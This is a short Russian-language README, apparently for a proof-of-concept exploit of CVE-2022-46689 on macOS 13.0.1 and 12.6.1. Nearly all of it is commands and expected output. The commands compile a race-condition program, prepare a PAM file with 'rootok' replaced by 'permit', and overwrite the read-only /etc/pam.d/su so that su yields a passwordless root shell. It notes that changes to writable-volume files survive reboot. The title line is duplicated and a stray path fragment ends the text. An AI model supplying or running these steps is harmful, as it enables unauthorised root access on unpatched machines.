
Получите root-доступ на macOS 13.0.1 с помощью CVE-2022-46689 (macOS-аналог ошибки Dirty Cow), используя тестовый пример, извлеченный из исходного кода Apple XNU.
Получите root на macOS 13.0.1 с помощью CVE-2022-46689 (macOS-аналог ошибки Dirty Cow), используя тестовый пример, извлеченный из исходного кода XNU от Apple.
https://worthdoingbadly.com/macdirtycow/
На машине с macOS 13.0.1 / 12.6.1 (или ниже) выполните:
clang -o switcharoo vm_unaligned_copy_switch_race.c
sed -e "s/rootok/permit/g" /etc/pam.d/su > overwrite_file.bin
./switcharoo /etc/pam.d/su overwrite_file.bin
su
Вы должны получить:
% ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
RO mapping was modified
% su
sh-3.2#
Протестировано на macOS 13 beta (22A5266r) с выключенным SIP (должно работать и с включенным SIP).
Если ваша система полностью обновлена (macOS 13.1 / 12.6.2), вывод будет следующим:
$ ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
vm_read_overwrite: KERN_SUCCESS:9865 KERN_PROTECTION_FAILURE:3840 other:0
Ran 13705 times in 10 seconds with no failure
и при выполнении su всё равно будет запрашиваться пароль.
Благодаря Sealed System Volume, выполнение этого на любом файле на томе /System изменяет файл только временно: изменения откатываются при перезагрузке. Выполнение на файле на записываемом томе сохранит изменения после перезагрузки.
/etc/pam.d.